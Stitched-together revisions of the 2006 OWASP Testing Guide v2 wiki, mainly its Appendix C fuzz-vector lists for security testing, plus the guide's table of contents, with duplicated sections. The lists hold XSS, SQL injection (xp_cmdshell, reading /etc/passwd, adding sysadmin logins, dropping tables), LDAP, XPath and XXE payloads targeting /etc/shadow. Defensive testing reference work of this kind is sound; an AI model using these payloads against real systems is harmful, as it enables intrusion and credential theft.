<nowiki>1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;</nowiki>
<nowiki>' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));</nowiki>

==== Active SQL Injection (SQI) ====

<nowiki>'; exec master..xp_cmdshell 'ping 10.10.1.2'--</nowiki>
<nowiki>CRATE USER name IDENTIFIED BY 'pass123'</nowiki>
<nowiki>CRATE USER name IDENTIFIED BY pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users; </nowiki>
<nowiki>' ; drop table temp --</nowiki>
<nowiki>exec sp_addlogin 'name' , 'password'</nowiki>
<nowiki>exec sp_addsrvrolemember 'name' , 'sysadmin'</nowiki>
<nowiki>INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))</nowiki>
<nowiki>GRANT CONNECT TO name; GRANT RESOURCE TO name;</nowiki>
<nowiki>INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70)
+ char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)</nowiki>

=== LDAP Injection ===

For details on LDAP Injection: [[LDAP_Injection_Testing_AoC]]

<nowiki>|</nowiki>
<nowiki>!</nowiki>
<nowiki>(</nowiki>
<nowiki>)</nowiki>
<nowiki>%28</nowiki>
<nowiki>%29</nowiki>
<nowiki>&</nowiki>
<nowiki>%26</nowiki>
<nowiki>%21</nowiki>
<nowiki>%7C</nowiki>
<nowiki>*|</nowiki>
<nowiki>%2A%7C</nowiki>
<nowiki>*(|(mail=*))</nowiki>
<nowiki>%2A%28%7C%28mail%3D%2A%29%29</nowiki>
<nowiki>*(|(objectclass=*))</nowiki>
<nowiki>%2A%28%7C%28objectclass%3D%2A%29%29</nowiki>
<nowiki>*()|%26'</nowiki>
<nowiki>admin*</nowiki>
<nowiki>admin*)((|userPassword=*)</nowiki>
<nowiki>*)(uid=*))(|(uid=*</nowiki>

=== XPATH Injection ===

For details on XPATH Injection: [[XPath_Injection_Testing_AoC]]

<nowiki>'+or+'1'='1</nowiki>
<nowiki>'+or+''='</nowiki>
<nowiki>x'+or+1=1+or+'x'='y</nowiki>
<nowiki>/</nowiki>
<nowiki>//</nowiki>
<nowiki>//*</nowiki>
<nowiki>*/*</nowiki>
<nowiki>@*</nowiki>
<nowiki>count(/child::node())</nowiki>
<nowiki>x'+or+name()='username'+or+'x'='y</nowiki>

=== XML Injection ===

Details on XML Injection here: [[XML_Injection_Testing_AoC]]

<nowiki><![CDATA[<script>var n=0;while(true){n++;}</script>]]></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('gotcha');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foof></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]><foo>&xee;</foo></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xee;</foo></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xee;</foo></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///dev/random">]><foo>&xee;</foo></nowiki>

{{Category:OWASP Testing Project AoC}}

OWASP Testing Guide Appendix C: Fuzz Vectors

2006-12-13T23:37:30Z

Subere: /* Buffer Overflows (BFO) */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

The following are fuzzing vectors which can be used with [[WebScarab]], [[JBroFuzz]], [[WSFuzzer]], or another fuzzer.
Fuzzing is the "kitchen sink" approach to testing the response of an application to parameter manipulation. Generally one looks for error conditions that are generated in an application as a result of fuzzing.
This is the simple part of the discovery phase.
Once an error has been discovered identifying and exploiting a potential vulnerability is where skill is required.

=== Fuzz Categories ===

In the case of stateless network protocol fuzzing (like HTTP(S)) two broad categories exist:

* Recursive fuzzing
* Replacive fuzzing

We examine and define each category in the sub-sections that follow.

==== Recursive fuzzing ====

Recursive fuzzing can be defined as the process of fuzzing a part of a request by iterating through all the possible combinations of a set alphabet. Consider the case of:

<pre>
<nowiki>http://www.example.com/8302fa3b</nowiki>
</pre>

Selecting "8302fa3b" as a part of the request to be fuzzed against the set hexadecimal alphabet i.e. {0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f} falls under the category of recursive fuzzing. This would generate a total of 16^8 requests of the form:
<pre>
<nowiki>http://www.example.com/00000000</nowiki>
<nowiki>...</nowiki>
<nowiki>http://www.example.com/11000fff</nowiki>
<nowiki>...</nowiki>
<nowiki>http://www.example.com/ffffffff</nowiki>
</pre>

==== Replacive fuzzing ====

Replacive fuzzing can be defined as the process of fuzzing part of a request by means of replacing it with a set value. This value is known as a fuzz vector. In the case of:

<pre>
<nowiki>http://www.example.com/8302fa3b</nowiki>
</pre>

Testing against Cross Site Scripting (XSS) by sending the following fuzz vectors:

<pre>
<nowiki>http://www.example.com/>"><script>alert("XSS")</script>&</nowiki>
<nowiki>http://www.example.com/'';!--"<XSS>=&{()}</nowiki>
</pre>

This is a form of replacive fuzzing. In this category, the total number of requests is dependant on the number of fuzz vectors specified.

The remainder of this appendix presents a number of fuzz vector categories.

=== Cross Site Scripting (XSS) ===

For details on XSS: [[Cross_site_scripting_AoC]]

<nowiki>>"><script>alert("XSS")</script>&</nowiki>
<nowiki>"><STYLE>@import"javascript:alert('XSS')";</STYLE></nowiki>
<nowiki>>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;
alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)></nowiki> 
<nowiki>>%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22></nowiki>
<nowiki>'%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'</nowiki>
<nowiki>"></nowiki>
<nowiki>>"</nowiki>
<nowiki>'';!--"<XSS>=&{()}</nowiki>
<nowiki><IMG SRC="javascript:alert('XSS');"></nowiki>
<nowiki><IMG SRC=javascript:alert('XSS')></nowiki>
<nowiki><IMG SRC=JaVaScRiPt:alert('XSS')> </nowiki>
<nowiki><IMG SRC=JaVaScRiPt:alert(&quot;XSS&quot;)></nowiki>
<nowiki><IMGSRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41></nowiki>
<nowiki><IMGSRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058
&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041></nowiki> 
<nowiki><IMGSRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28
&#x27&#x58&#x53&#x53&#x27&#x29></nowiki> 
<nowiki><IMG SRC="jav&#x09;ascript:alert('XSS');"></nowiki>
<nowiki><IMG SRC="jav&#x0A;ascript:alert('XSS');"></nowiki>
<nowiki><IMG SRC="jav&#x0D;ascript:alert('XSS');"></nowiki>

=== Buffer Overflows and Format String Errors ===

==== Buffer Overflows (BFO) ====
A buffer overflow or memory corruption attack is a programming condition which allows overflowing of valid data beyond its prelocated storage limit in memory.

For details on Buffer Overflows: [[Buffer_Overflow_Testing_AoC]]

Note that attempting to load such a definition file within a fuzzer application can potentially cause the application to crash.

<nowiki>A x 5</nowiki>
<nowiki>A x 17</nowiki>
<nowiki>A x 33</nowiki>
<nowiki>A x 65</nowiki>
<nowiki>A x 129</nowiki>
<nowiki>A x 257</nowiki>
<nowiki>A x 513</nowiki>
<nowiki>A x 1024</nowiki>
<nowiki>A x 2049</nowiki>
<nowiki>A x 4097</nowiki>
<nowiki>A x 8193</nowiki>
<nowiki>A x 12288</nowiki>

==== Format String Errors (FSE) ====

<nowiki>%s%p%x%d</nowiki>
<nowiki>.1024d</nowiki>
<nowiki>%.2049d</nowiki>
<nowiki>%p%p%p%p</nowiki>
<nowiki>%x%x%x%x</nowiki>
<nowiki>%d%d%d%d</nowiki>
<nowiki>%s%s%s%s</nowiki>
<nowiki>%99999999999s</nowiki>
<nowiki>%08x</nowiki>
<nowiki>%%20d</nowiki>
<nowiki>%%20n</nowiki>
<nowiki>%%20x</nowiki>
<nowiki>%%20s</nowiki>
<nowiki>%s%s%s%s%s%s%s%s%s%s</nowiki>
<nowiki>%p%p%p%p%p%p%p%p%p%p</nowiki>
<nowiki>%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%</nowiki>
<nowiki>%s x 129</nowiki>
<nowiki>%x x 257</nowiki>

==== Integer Overflows (INT) ====

<nowiki>-1</nowiki>
<nowiki>0</nowiki>
<nowiki>0x100</nowiki>
<nowiki>0x1000</nowiki>
<nowiki>0x3fffffff</nowiki>
<nowiki>0x7ffffffe</nowiki>
<nowiki>0x7fffffff</nowiki>
<nowiki>0x80000000</nowiki>
<nowiki>0xfffffffe</nowiki>
<nowiki>0xffffffff</nowiki>
<nowiki>0x10000</nowiki>
<nowiki>0x100000</nowiki>

=== SQL Injection ===

For details on Testing SQL Injection: [[Testing_for_SQL_Injection]]

==== Passive SQL Injection (SQP) ====

<nowiki>'||(elt(-3+5,bin(15),ord(10),hex(char(45))))</nowiki>
<nowiki>||6</nowiki>
<nowiki>'||'6</nowiki>
<nowiki>(||6)</nowiki>
<nowiki>' OR 1=1--</nowiki>
<nowiki>OR 1=1</nowiki>
<nowiki>' OR '1'='1</nowiki>
<nowiki>; OR '1'='1'</nowiki>
<nowiki>%22+or+isnull%281%2F0%29+%2F*</nowiki>
<nowiki>%27+OR+%277659%27%3D%277659</nowiki>
<nowiki>%22+or+isnull%281%2F0%29+%2F*</nowiki>
<nowiki>%27+--+</nowiki>
<nowiki>' or 1=1--</nowiki>
<nowiki>" or 1=1--</nowiki>
<nowiki>' or 1=1 /*</nowiki>
<nowiki>or 1=1--</nowiki>
<nowiki>' or 'a'='a</nowiki>
<nowiki>" or "a"="a</nowiki>
<nowiki>') or ('a'='a</nowiki>
<nowiki>Admin' OR '</nowiki>
<nowiki>'%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--</nowiki>
<nowiki>) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;</nowiki>
<nowiki>' having 1=1--</nowiki>
<nowiki>' having 1=1--</nowiki>
<nowiki>' group by userid having 1=1--</nowiki>
<nowiki>' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')--</nowiki>
<nowiki>' or 1 in (select @@version)--</nowiki>
<nowiki>' union all select @@version--</nowiki>
<nowiki>' OR 'unusual' = 'unusual'</nowiki>
<nowiki>' OR 'something' = 'some'+'thing'</nowiki>
<nowiki>' OR 'text' = N'text'</nowiki>
<nowiki>' OR 'something' like 'some%'</nowiki>
<nowiki>' OR 2 > 1</nowiki>
<nowiki>' OR 'text' > 't'</nowiki>
<nowiki>' OR 'whatever' in ('whatever')</nowiki>
<nowiki>' OR 2 BETWEEN 1 and 3</nowiki>
<nowiki>' or username like char(37);</nowiki>
<nowiki>' union select * from users where login = char(114,111,111,116);</nowiki>
<nowiki>' union select </nowiki>
<nowiki>Password:*/=1--</nowiki>
<nowiki>UNI/**/ON SEL/**/ECT</nowiki>
<nowiki>'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'</nowiki>
<nowiki>'; EXEC ('SEL' + 'ECT US' + 'ER')</nowiki>
<nowiki>'/**/OR/**/1/**/=/**/1</nowiki>
<nowiki>' or 1/*</nowiki>
<nowiki>+or+isnull%281%2F0%29+%2F*</nowiki>
<nowiki>%27+OR+%277659%27%3D%277659</nowiki>
<nowiki>%22+or+isnull%281%2F0%29+%2F*</nowiki>
<nowiki>%27+--+&password=</nowiki>
<nowiki>'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login >
@var select @var as var into temp end --</nowiki> 
<nowiki>' and 1 in (select var from temp)--</nowiki>
<nowiki>' union select 1,load_file('/etc/passwd'),1,1,1;</nowiki>
<nowiki>1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;</nowiki>
<nowiki>' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));</nowiki>

==== Active SQL Injection (SQI) ====

<nowiki>'; exec master..xp_cmdshell 'ping 10.10.1.2'--</nowiki>
<nowiki>CRATE USER name IDENTIFIED BY 'pass123'</nowiki>
<nowiki>CRATE USER name IDENTIFIED BY pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users; </nowiki>
<nowiki>' ; drop table temp --</nowiki>
<nowiki>exec sp_addlogin 'name' , 'password'</nowiki>
<nowiki>exec sp_addsrvrolemember 'name' , 'sysadmin'</nowiki>
<nowiki>INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))</nowiki>
<nowiki>GRANT CONNECT TO name; GRANT RESOURCE TO name;</nowiki>
<nowiki>INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70)
+ char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)</nowiki>

=== LDAP Injection ===

For details on LDAP Injection: [[LDAP_Injection_Testing_AoC]]

<nowiki>|</nowiki>
<nowiki>!</nowiki>
<nowiki>(</nowiki>
<nowiki>)</nowiki>
<nowiki>%28</nowiki>
<nowiki>%29</nowiki>
<nowiki>&</nowiki>
<nowiki>%26</nowiki>
<nowiki>%21</nowiki>
<nowiki>%7C</nowiki>
<nowiki>*|</nowiki>
<nowiki>%2A%7C</nowiki>
<nowiki>*(|(mail=*))</nowiki>
<nowiki>%2A%28%7C%28mail%3D%2A%29%29</nowiki>
<nowiki>*(|(objectclass=*))</nowiki>
<nowiki>%2A%28%7C%28objectclass%3D%2A%29%29</nowiki>
<nowiki>*()|%26'</nowiki>
<nowiki>admin*</nowiki>
<nowiki>admin*)((|userPassword=*)</nowiki>
<nowiki>*)(uid=*))(|(uid=*</nowiki>

=== XPATH Injection ===

For details on XPATH Injection: [[XPath_Injection_Testing_AoC]]

<nowiki>'+or+'1'='1</nowiki>
<nowiki>'+or+''='</nowiki>
<nowiki>x'+or+1=1+or+'x'='y</nowiki>
<nowiki>/</nowiki>
<nowiki>//</nowiki>
<nowiki>//*</nowiki>
<nowiki>*/*</nowiki>
<nowiki>@*</nowiki>
<nowiki>count(/child::node())</nowiki>
<nowiki>x'+or+name()='username'+or+'x'='y</nowiki>

=== XML Injection ===

Details on XML Injection here: [[XML_Injection_Testing_AoC]]

<nowiki><![CDATA[<script>var n=0;while(true){n++;}</script>]]></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('gotcha');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foof></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]><foo>&xee;</foo></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xee;</foo></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xee;</foo></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///dev/random">]><foo>&xee;</foo></nowiki>

{{Category:OWASP Testing Project AoC}}

OWASP Testing Guide v2 Table of Contents

2006-11-27T17:20:46Z

Subere: /* Appendix C: Fuzz Vectors */

Updated 24th Nov, 12.00 GMT+1
Legend: 
xx%: Progress status of the paragraph 
Review: the paragraph need a review (Matteo Meucci) 
TD: Paragraph To Be Assigned 

[[http://www.owasp.org/index.php/OWASP_Autumn_of_Code_2006_-_Projects:_Testing_Guide OWASP Testing Guide AoC]]

[[http://www.owasp.org/index.php/OWASP_Testing_Guide_v2_Review_Panel Review Panel]]

==[[Testing Guide Frontispiece AoC|Frontispiece]]==

'''1.1 About the OWASP Testing Guide Project''' 
1.1.1 Copyright 
1.1.2 Editors (0%, Review) 
1.1.3 Authors and Reviewers (0%, Review) 
1.1.4 Revision History 
1.1.5 Trademarks 
'''1.2 About The Open Web Application Security Project''' 
1.2.1 Overview 
1.2.2 Structure 
1.2.3 Licensing 
1.2.4 Participation and Membership 
1.2.5 Projects 
1.2.6 OWASP Privacy Policy 

==[[Testing Guide Introduction AoC|Introduction]]==
'''2.1 The OWASP Testing Project''' 
'''2.2 Principles of Testing''' 
'''2.3 Testing Techniques Explained''' 

==[[The OWASP Testing Framework AoC|The OWASP Testing Framework]]==
'''3.1. Overview''' 
'''3.2. Phase 1 — Before Development Begins ''' 
'''3.3. Phase 2: During Definition and Design''' 
'''3.4. Phase 3: During Development''' 
'''3.5. Phase 4: During Deployment''' 
'''3.6. Phase 5: Maintenance and Operations''' 
'''3.7. A Typical SDLC Testing Workflow ''' 

==[[Web Application Penetration Testing AoC |Web Application Penetration Testing ]]==
'''4.1 Introduction and objectives''' (Matteo Meucci) 

'''4.2 Information Gathering''' (Carlo Pelliccioni) 
4.2.1 Testing Web Application Fingerprint (Antonio Parata) 
4.2.2 Application Discovery (Mauro Bregolin) 
4.2.3 Spidering and googling (80%, Tom Brennan, Tom Ryan) 
4.2.4 Analysis of error codes (Carlo Pelliccioni) 
4.2.5 Infrastructure configuration management testing 
4.2.5.1 SSL/TLS Testing (Mauro Bregolin, Mark Curphey) 
4.2.5.2 DB Listener Testing (60%, Eoin Keary, Matteo Meucci) 
4.2.6 Application configuration management testing (90%) 
4.2.6.1 File extensions handling (Mauro Bregolin) 
4.2.6.2 Old, backup and unreferenced files (Mauro Bregolin, Javier Fernandez Sanguino, Dafydd Studdard) 

'''4.3 Business logic testing''' (Madhura Halasgikar) 

'''4.4 Authentication Testing''' (Meucci) 
4.4.1 Default or guessable (dictionary) user account 
4.4.2 Brute Force (Giorgio Fedon, Andrea Lombardini) 
4.4.3 Bypassing authentication schema (Giorgio Fedon, Andrea Lombardini) 
4.4.4 Directory traversal/file include (Luca Carettoni) 
4.4.5 Vulnerable remember password and pwd reset (Ralph M. Los,Alberto Revelli) 
4.4.6 Logout and Browser Cache Management Testing (Alberto Revelli) 

'''4.5 Session Management Testing''' (Glyn Geoghegan, Meucci) 
4.5.1 Analysis of the Session Management Schema (Meucci) 
4.5.2 Cookie and Session token Manipulation (Alberto Revelli, Matteo Meucci) 
4.5.3 Exposed session variables (Meucci) 
4.5.4 Session Riding (XSRF) (Mauro Bregolin,Review) 
4.5.5 HTTP Exploit (0%, Arian J.Evans) 

'''4.6 Data Validation Testing''' (Meucci) 
4.6.1 Cross site scripting (80%, Tom Brennan, Tom Ryan) 
4.6.1.1 HTTP Methods and XST (Alberto Revelli) 
4.6.2 SQL Injection (Antonio Parata) 
4.6.2.1 Stored procedure injection (40%,Gary Burns) 
4.6.2.2 Oracle testing (0%,TD) 
4.6.2.3 MySQL testing (Stefano Di Paola) 
4.6.2.4 SQL Server testing (Ariel Waissbein, Laura Nuñez, Alberto Revelli) 
4.6.3 LDAP Injection (Stefano Di Paola) 
4.6.4 ORM Injection (Mark Roxberry) 
4.6.5 XML Injection (Antonio Parata, Stefano Di Paola) 
4.6.6 SSI Injection (Claudio Merloni) 
4.6.7 XPath Injection (Antonio Parata, Alberto Revelli, Stefano Di Paola) 
4.6.8 IMAP/SMTP Injection (Vicente Aguilera) 
4.6.9 Code Injection (100%, Mark Roxberry) 
4.6.10 OS Commanding (70%, Gary Burns) 
4.6.11 Buffer overflow Testing 
4.6.11.1 Heap overflow 
4.6.11.2 Stack overflow 
4.6.11.3 Format string 
4.6.12 Incubated vulnerability testing (95%,Ariel Waissbein, Laura Nuñez) 

'''4.7 Denial of Service Testing''' 
4.7.1 Locking Customer Accounts Review 
4.7.2 Buffer Overflows 
4.7.3 User Specified Object Allocation 
4.7.4 User Input as a Loop Counter 
4.7.5 Writing User Provided Data to Disk 
4.7.6 Failure to Release Resources 
4.7.7 Storing too Much Data in Session 

'''4.8 Web Services Testing''' (Eoin Keary, Mark Roxberry) 
4.8.1 XML Structural Testing 
4.8.2 XML content-level Testing 
4.8.3 HTTP GET parameters/REST Testing 
4.8.4 Naughty SOAP attachments 
4.8.5 Replay Testing 

'''4.9 AJAX Testing''' (70%, Dan Cornell, Giorgio Fedon, Stefano Di Paola) 
4.9.1 Vulnerabilities (90%, Anush Shetty) 
4.9.2 How to test (60%) 

==[[Writing Reports: value the real risk AoC |Writing Reports: value the real risk ]]==
'''5.1 How to value the real risk''' (90%, Daniel Cuthbert, Matteo Meucci, Sebastien Deleersnyder, Marco Morana) 
'''5.2 How to write the report of the testing''' (20%, Daniel Cuthbert, Tom Brennan, Tom Ryan) TD 

==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==
(90%) 
* Black Box Testing Tools
* Source Code Analyzers
* Other Tools

==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==
(70%) 
* Whitepapers 
* Books 
* Articles 
* Useful Websites 

==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]==
(80%)

* Fuzz Categories
** Recursive fuzzing
** Replasive fuzzing
* Cross Site Scripting (XSS)
* Buffer Overflows and Format String Errors
** Buffer Overflows (BFO)
** Format String Errors (FSE)
** Integer Overflows (INT)
* SQL Injection
** Passive SQL Injection (SQP)
** Active SQL Injection (SQI)
* LDAP Injection
* XPATH Injection

 

{{Category:OWASP Testing Project AoC}}

OWASP Testing Guide Appendix C: Fuzz Vectors

2006-11-27T17:18:26Z

Subere:

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

The following are fuzzing vectors which can be used with webscarab, jbrofuzz or another fuzzer.
Fuzzing is the "kitchen sink" approach to testing the response of an application to parameter manipulation. Generally one looks for error conditions that are generated in an application as a result of fuzzing.
This is the simple part of the discovery phase.
Once an error has been discovered identifying and exploiting a potential vulnerability is where skill is required.

=== Fuzz Categories ===

In the case of stateless network protocol fuzzing (like HTTP(S)) two broad categories exist:

* Recursive fuzzing
* Replasive fuzzing

We examine and define each category in the sub-sections that follow.

==== Recursive fuzzing ====

Recursive fuzzing can be defined as the process of fuzzing a part of a request by iterating through all the possible combinations of a set alphabet. Consider the case of:

<pre>
<nowiki>http://www.example.com/8302fa3b</nowiki>
</pre>

Selecting "8302fa3b" as a part of the request to be fuzzed against the set hexadecimal alphabet i.e. {0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f} falls under the category of recursive fuzzing. This would generate a total of 16^8 requests of the form:
<pre>
<nowiki>http://www.example.com/00000000</nowiki>
<nowiki>...</nowiki>
<nowiki>http://www.example.com/11000fff</nowiki>
<nowiki>...</nowiki>
<nowiki>http://www.example.com/ffffffff</nowiki>
</pre>

==== Replasive fuzzing ====

Replasive fuzzing can be defined as the process of fuzzing part of a request by means of replacing it with a set value. This value is known as a fuzz vector. In the case of:

<pre>
<nowiki>http://www.example.com/8302fa3b</nowiki>
</pre>

Testing against Cross Site Scripting (XSS) by sending the following fuzz vectors:

<pre>
<nowiki>http://www.example.com/>"><script>alert("XSS")</script>&</nowiki>
<nowiki>http://www.example.com/'';!--"<XSS>=&{()}</nowiki>
</pre>

This is a form of replasive fuzzing. In this category, the total number of requests is dependant on the number of fuzz vectors specified.

The remainder of this appendix presents a number of fuzz vector categories.

=== Cross Site Scripting (XSS) ===

Brief description here.

<nowiki>>"><script>alert("XSS")</script>&</nowiki> 
<nowiki>"><STYLE>@import"javascript:alert('XSS')";</STYLE></nowiki> 
<nowiki>>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)></nowiki> 
<nowiki>>%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22></nowiki> 
<nowiki>'%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'</nowiki> 
<nowiki>"></nowiki> 
<nowiki>>"</nowiki> 
<nowiki>'';!--"<XSS>=&{()}</nowiki> 
<nowiki><IMG SRC="javascript:alert('XSS');"></nowiki> 
<nowiki><IMG SRC=javascript:alert('XSS')></nowiki> 
<nowiki><IMG SRC=JaVaScRiPt:alert('XSS')> </nowiki> 
<nowiki><IMG SRC=JaVaScRiPt:alert(&quot;XSS&quot;)></nowiki> 
<nowiki><IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41></nowiki> 
<nowiki><IMG
SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041></nowiki> 
<nowiki><IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29></nowiki> 
<nowiki><IMG SRC="jav&#x09;ascript:alert('XSS');"></nowiki> 
<nowiki><IMG SRC="jav&#x0A;ascript:alert('XSS');"></nowiki> 
<nowiki><IMG SRC="jav&#x0D;ascript:alert('XSS');"></nowiki> 

=== Buffer Overflows and Format String Errors ===

Brief overview of category here.

==== Buffer Overflows (BFO) ====

Brief description here.

Note that attempting to load such a definition file within a fuzzer application can potentially cause the application to crash.

<nowiki>A x 5</nowiki> 
<nowiki>A x 17</nowiki> 
<nowiki>A x 33</nowiki> 
<nowiki>A x 65</nowiki> 
<nowiki>A x 129</nowiki> 
<nowiki>A x 257</nowiki> 
<nowiki>A x 513</nowiki> 
<nowiki>A x 1024</nowiki> 
<nowiki>A x 2049</nowiki> 
<nowiki>A x 4097</nowiki> 
<nowiki>A x 8193</nowiki> 
<nowiki>A x 12288</nowiki> 

==== Format String Errors (FSE) ====

Brief description here.

<nowiki>%s%p%x%d</nowiki> 
<nowiki>.1024d</nowiki> 
<nowiki>%.2049d</nowiki> 
<nowiki>%p%p%p%p</nowiki> 
<nowiki>%x%x%x%x</nowiki> 
<nowiki>%d%d%d%d</nowiki> 
<nowiki>%s%s%s%s</nowiki> 
<nowiki>%99999999999s</nowiki> 
<nowiki>%08x</nowiki> 
<nowiki>%%20d</nowiki> 
<nowiki>%%20n</nowiki> 
<nowiki>%%20x</nowiki> 
<nowiki>%%20s</nowiki> 
<nowiki>%s%s%s%s%s%s%s%s%s%s</nowiki> 
<nowiki>%p%p%p%p%p%p%p%p%p%p</nowiki> 
<nowiki>%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%</nowiki> 
<nowiki>%s x 129</nowiki> 
<nowiki>%x x 257</nowiki> 

==== Integer Overflows (INT) ====

Brief description here.

<nowiki>-1</nowiki> 
<nowiki>0</nowiki> 
<nowiki>0x100</nowiki> 
<nowiki>0x1000</nowiki> 
<nowiki>0x3fffffff</nowiki> 
<nowiki>0x7ffffffe</nowiki> 
<nowiki>0x7fffffff</nowiki> 
<nowiki>0x80000000</nowiki> 
<nowiki>0xfffffffe</nowiki> 
<nowiki>0xffffffff</nowiki> 
<nowiki>0x10000</nowiki> 
<nowiki>0x100000</nowiki> 

=== SQL Injection ===

Brief overview of category here.

==== Passive SQL Injection (SQP) ====

Brief description here.

<nowiki>' OR 1=1--</nowiki> 
<nowiki>OR 1=1</nowiki> 
<nowiki>' OR '1'='1</nowiki> 
<nowiki>; OR '1'='1'</nowiki> 
<nowiki>%22+or+isnull%281%2F0%29+%2F*</nowiki> 
<nowiki>%27+OR+%277659%27%3D%277659</nowiki> 
<nowiki>%22+or+isnull%281%2F0%29+%2F*</nowiki> 
<nowiki>%27+--+</nowiki> 
<nowiki>' or 1=1--</nowiki> 
<nowiki>" or 1=1--</nowiki> 
<nowiki>' or 1=1 /*</nowiki> 
<nowiki>or 1=1--</nowiki> 
<nowiki>' or 'a'='a</nowiki> 
<nowiki>" or "a"="a</nowiki> 
<nowiki>') or ('a'='a</nowiki> 
<nowiki>Admin' OR '</nowiki> 
<nowiki>'%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--</nowiki> 
<nowiki>) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;</nowiki> 
